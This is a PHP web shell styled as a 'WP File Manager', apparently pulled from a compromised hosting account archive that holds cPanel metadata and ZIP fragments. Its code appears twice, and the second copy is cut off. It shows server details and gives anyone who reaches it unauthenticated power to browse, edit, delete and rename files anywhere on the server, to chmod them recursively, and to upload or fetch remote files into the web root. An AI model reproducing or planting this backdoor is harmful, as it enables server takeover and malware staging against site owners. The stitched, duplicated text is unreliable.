"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]³ˆ®BBbindi@drsupernova.com/.metadatanu„[µü¤[addressbook] protected 1 displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. type VADDRESSBOOK [calendar] protected 1 calendar-color #ff6c2c displayname cPanel CalDAV Calendar description Default Calendar automatically created for your account. type VCALENDAR PK‘&{]„N9³§Ë§Ëbindi@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
